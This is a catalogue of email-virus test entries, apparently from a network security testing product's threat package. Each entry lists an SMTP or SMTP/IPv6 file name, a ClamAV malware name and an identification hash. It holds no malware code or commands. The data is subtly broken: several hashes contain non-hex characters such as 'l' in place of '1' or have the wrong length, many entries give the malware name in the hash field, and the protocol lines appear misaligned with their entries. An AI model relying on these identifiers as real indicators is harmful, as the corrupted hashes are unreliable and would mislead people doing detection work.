Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Newman.89d7b360_IPv6.xml
Executive Description:	Email Virus Worm.Newman (IPv6 Version)
Detailed Description:	This is the email virus Worm.Newman as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 89d7b360be467311a9be2b1e8ff9fde8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.M.d93a6fa8.xml
Executive Description:	Email Virus VBS.PicaWorm.M
Detailed Description:	This is the email virus VBS.PicaWorm.M as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d93a6fa876a50af2b2d43021ec6533c8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Fagled.fag.10054a7d.xml
Executive Description:	Email Virus Email-Worm.Win32.Fagled.fag
Detailed Description:	This is the email virus Email-Worm.Win32.Fagled.fag as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Fagled.fag. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Lowjo.C.e2e88852_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Lowjo.C (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Lowjo.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e2e888520a36ed5543d2658633b14aaa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sysnom.94c40237.xml
Executive Description:	Email Virus Worm.Sysnom
Detailed Description:	This is the email virus Worm.Sysnom as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 94c40237c0b9929e806cca9293d1a825. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.Y.23cd4244_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.Y (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.Y as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 23cd4244fd4eb14ca42f4af89f576dac. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W98.Hybris.E.40256df2.xml
Executive Description:	Email Virus W98.Hybris.E
Detailed Description:	This is the email virus W98.Hybris.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 40256df28df89975a6c586cf0433c881. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Numgame.num.d06636e3_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Numgame.num (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Numgame.num as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Numgame.num. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Jerm.a.07ccb143_IPv6.xml
Executive Description:	Email Virus Worm.Jerm.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Jerm.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 07ccb143c668ab02cf338309af170782. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kuasa.c15a7ael.xml
Executive Description:	Email Virus Worm.Kuasa
Detailed Description:	This is the email virus Worm.Kuasa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c15a7ael8bba46cfee9b16dfb79bcff1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hunch.a.a.333bd791_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Hunch.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Hunch.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hunch.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	W32.Zhangpo.0caf68d0_IPv6.xml
Executive Description:	Email Virus W32.Zhangpo (IPv6 Version)
Detailed Description:	This is the email virus W32.Zhangpo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0caf68d0c020974e90f9637456fcf741. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VWS.e280eb68.xml
Executive Description:	Email Virus Worm.VWS
Detailed Description:	This is the email virus Worm.VWS as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e280eb68f84f62a09e74adad7bc8619b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.a.a.cbcd34a2_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Psych.85de9cbe_IPv6.xml
Executive Description:	Email Virus Worm.Psych (IPv6 Version)
Detailed Description:	This is the email virus Worm.Psych as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 85de9cbebf1ff04f8df17182276c03a8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.75355112_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7535511290b8e42ca775330bdb110a68. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.AB.06e4cf3d.xml
Executive Description:	Email Virus Worm.SomeFool.AB
Detailed Description:	This is the email virus Worm.SomeFool.AB as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06e4cf3d33f5ed9af43fe012c759bda60. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anel.ane.bfdb80c8_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Anel.ane (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Anel.ane as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anel.ane. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.e4963d61_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4963d61a4194ad5993cdle99d32d7e8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W95.PornoChat.1391ae35_IPv6.xml
Executive Description:	Email Virus W95.PornoChat (IPv6 Version)
Detailed Description:	This is the email virus W95.PornoChat as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1391ae359bcc289468dde43885bc2147. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Goround.gor.20a2a423.xml
Executive Description:	Email Virus Email-Worm.Win32.Goround.gor
Detailed Description:	This is the email virus Email-Worm.Win32.Goround.gor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Goround.gor. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Kuasa.B.51d3clf7_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Kuasa.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Kuasa.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 51d3clf7120db362418213f3e360bab8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	VBS.SSIWG.41aa7997.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 41aa799726d2ef98834c70e1049b94f7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.75ac02ae.xml
Executive Description:	Email Virus WScr.Unsafe.D
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 75ac02ae1434f73b37736c3e2f62c9d5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Trader.63119305_IPv6.xml
Executive Description:	Email Virus Worm.Trader (IPv6 Version)
Detailed Description:	This is the email virus Worm.Trader as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6311930555c77ae2d0b39bfelb267958. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.4c136071_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c136071ba423c576f7a4b7668860593. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Mantan.man.74c989a2.xml
Executive Description:	Email Virus Email-Worm.VBS.Mantan.man
Detailed Description:	This is the email virus Email-Worm.VBS.Mantan.man as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Mantan.man. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Buzill.b.b.64407db1_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Buzill.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Buzill.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Buzill.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.aa389c47_IPv6.xml
Executive Description:	Email Virus W32.Ultratt.gz (IPv6 Version)
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aa389c47e3c7a4c2c71af9aebc26b5f9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Maldal.c.6494cc24_IPv6.xml
Executive Description:	Email Virus Worm.Maldal.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Maldal.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6494cc242ba8c240eded731dee655e4a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.SillyWorm.a.a.6b2487fc_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.SillyWorm.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.SillyWorm.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.SillyWorm.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Homepage.fbbfea3a_IPv6.xml
Executive Description:	Email Virus Worm.Homepage (IPv6 Version)
Detailed Description:	This is the email virus Worm.Homepage as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fbbfea3aede7415913fd6f75f893a44. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.2a5b7d8d.xml
Executive Description:	Email Virus Worm.Vorgon.B
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2a5b7d8de10f1c5197a179cc5b21f46b. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.31b83200_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 31b83200339c7640acfe5dbe054ac122. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.ci.52b8f283.xml
Executive Description:	Email Virus Worm.Lee.ci
Detailed Description:	This is the email virus Worm.Lee.ci as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 52b8f283b9f62df8d8b0b4c877068601. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Vabian.A.fc1fb498.xml
Executive Description:	Email Virus VBS.Vabian.A
Detailed Description:	This is the email virus VBS.Vabian.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fc1fb498aac64d710ba367080ec93453. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-2.d4a36779.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-2
Detailed Description:	This is the email virus Worm.SomeFool.Gen-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4a3677976b656aec6afcf2e03459a8d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Neton.net.022d587f.xml
Executive Description:	Email Virus Email-Worm.Win32.Neton.net
Detailed Description:	This is the email virus Email-Worm.Win32.Neton.net as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Neton.net. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Tempex.tem.be3e41bf.xml
Executive Description:	Email Virus Email-Worm.Win32.Tempex.tem
Detailed Description:	This is the email virus Email-Worm.Win32.Tempex.tem as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Tempex.tem. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Futonik.11b9bdcf_IPv6.xml
Executive Description:	Email Virus Worm.Futonik (IPv6 Version)
Detailed Description:	This is the email virus Worm.Futonik as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 11b9bdcf7a7f40c0a0892d3ac8caabc9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.b05d6259.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b05d62592752bdba6ccf9cf66683d11f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BadTrans.1.39c85a0d_IPv6.xml
Executive Description:	Email Virus Worm.BadTrans.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.BadTrans.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 39c85a0d847aa21c7dedd69dca7ae9bc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.FreeTrip.d.d.2a8a6ecc_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.FreeTrip.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.FreeTrip.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.FreeTrip.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sobig.A.a24ff177_IPv6.xml
Executive Description:	Email Virus Worm.Sobig.A (IPv6 Version)

Detailed Description:	This is the email virus Worm.Sobig.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a24ff17709f1c162ccad34d5646a493a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.e.f8ad9e75_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.e (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f8ad9e75d3fbc6b1023ae5190bbb87ca. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mimail.C.3d95b8ad.xml
Executive Description:	Email Virus Worm.Mimail.C
Detailed Description:	This is the email virus Worm.Mimail.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d95b8addf409585be964c28e65499b3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.NHKR.b.565b3f57.xml
Executive Description:	Email Virus Worm.NHKR.b
Detailed Description:	This is the email virus Worm.NHKR.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 565b3f5732949bd76ad8c0438ca755b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heather.b22c1405.xml
Executive Description:	Email Virus Worm.Heather
Detailed Description:	This is the email virus Worm.Heather as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b22c140576e71cdae04313fb56d04611. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Netav.b.b.7ecd458b.xml
Executive Description:	Email Virus Email-Worm.Win32.Netav.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Netav.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Netav.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.Without.b.b.f331646b_IPv6.xml
Executive Description:	Email Virus Email-Worm.BAT.Without.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.BAT.Without.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.Without.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.FunnyPics.ce281ff3_IPv6.xml
Executive Description:	Email Virus Worm.FunnyPics (IPv6 Version)
Detailed Description:	This is the email virus Worm.FunnyPics as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ce281ff3a0cbdea45f1f5757052e369b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Sigbug.b.b.8827c3bb_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Sigbug.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.JS.Sigbug.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Sigbug.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Anaphylaxis.0231c3a7_IPv6.xml
Executive Description:	Email Virus Anaphylaxis (IPv6 Version)
Detailed Description:	This is the email virus Anaphylaxis as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0231c3a7d92ead1bad77819d5bda939d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Gift.Anap.038c9db8_IPv6.xml
Executive Description:	Email Virus Trojan.IWorm.Gift.Anap (IPv6 Version)
Detailed Description:	This is the email virus Trojan.IWorm.Gift.Anap as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 038c9db8159da91bf0c8dea72618b10a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Quocus.256c8660_IPv6.xml

Executive Description:	Email Virus Worm.Quocus (IPv6 Version)
Detailed Description:	This is the email virus Worm.Quocus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 256c86605d1aa46c85dc8027103828cf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.HomePage.1.443c5c4c_IPv6.xml
Executive Description:	Email Virus VBS.HomePage.1 (IPv6 Version)
Detailed Description:	This is the email virus VBS.HomePage.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 443c5c4c2eea29c0855f09116d02c3b3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Music.B.adaf15fb.xml
Executive Description:	Email Virus Worm.Music.B
Detailed Description:	This is the email virus Worm.Music.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: adaf15fbe59a45981091cd103e196bfc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.55aac909.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 55aac9091886877d5124bcf27d6bfd84. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Greel.A.901f172b.xml
Executive Description:	Email Virus Worm.Greel.A
Detailed Description:	This is the email virus Worm.Greel.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 901f172bb73f98d86898fde8e67495c1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.VBSWG.Gen.385962f3.xml
Executive Description:	Email Virus VBS.VBSWG.Gen
Detailed Description:	This is the email virus VBS.VBSWG.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 385962f3043cf332ba91c5b55944145b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Newlove.D.d2b8ea4a_IPv6.xml
Executive Description:	Email Virus VBS.Newlove.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.Newlove.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2b8ea4a267c69040c7d3ad80f64f8ba. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yarner.a.a.64218ac8_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Yarner.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Yarner.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yarner.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Mimail.k.k.290995b4.xml
Executive Description:	Email Virus Email-Worm.Win32.Mimail.k.k
Detailed Description:	This is the email virus Email-Worm.Win32.Mimail.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Mimail.k.k. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.948173af.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 948173afec9a719966160ec12de05bd3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.nih.3b31cc70.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.nih
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.nih as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.nih. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.VBS.Horid.hor.365887be.xml
Executive Description:	Email Virus Email-Worm.VBS.Horid.hor
Detailed Description:	This is the email virus Email-Worm.VBS.Horid.hor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Horid.hor. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Hely.hel.56be140f.xml
Executive Description:	Email Virus Email-Worm.VBS.Hely.hel
Detailed Description:	This is the email virus Email-Worm.VBS.Hely.hel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Hely.hel. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Heidi.33a4b865_IPv6.xml
Executive Description:	Email Virus W32.Heidi (IPv6 Version)
Detailed Description:	This is the email virus W32.Heidi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 33a4b865b753d5f069ea4037b84298b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Shoho.8240078d_IPv6.xml
Executive Description:	Email Virus W32.Shoho (IPv6 Version)
Detailed Description:	This is the email virus W32.Shoho as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8240078d1a3fcdda7cb14c23795ec50d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Santen.A.e546e24f.xml
Executive Description:	Email Virus Worm.Santen.A
Detailed Description:	This is the email virus Worm.Santen.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e546e24f1cf46e6c037f21f3340a4ac4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	WXP.Kallisti.b7f7ed86_IPv6.xml
Executive Description:	Email Virus WXP.Kallisti (IPv6 Version)
Detailed Description:	This is the email virus WXP.Kallisti as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b7f7ed86d457fec2493db21e8886b981. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BAT.Relix.A.27f07ae4.xml
Executive Description:	Email Virus BAT.Relix.A
Detailed Description:	This is the email virus BAT.Relix.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 27f07ae42b6f6ebf7f5c316f0efc0e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Saros.A.e7f16ccd_IPv6.xml
Executive Description:	Email Virus Worm.Saros.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Saros.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e7f16ccd5113cb589dc385e797908d23b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Pinbol.A.056321b1_IPv6.xml
Executive Description:	Email Virus Trojan.Pinbol.A (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Pinbol.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 056321b10c624667cd88caa4b508d405. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Bater.a.exe.c0d5abbe.xml
Executive Description:	Email Virus Email-Worm.Win32.Bater.a.exe
Detailed Description:	This is the email virus Email-Worm.Win32.Bater.a.exe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Bater.a.exe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Santa.c8e2086f.xml
Executive Description:	Email Virus Worm.Santa
Detailed Description:	This is the email virus Worm.Santa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c8e2086f19ddac0c1eld923511556af5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.VBS.DDV.c.c.9blb30a4.xml
Executive Description:	Email Virus Email-Worm.VBS.DDV.c.c
Detailed Description:	This is the email virus Email-Worm.VBS.DDV.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.DDV.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.e4963d61.xml
Executive Description:	Email Virus VBS.SSIWG
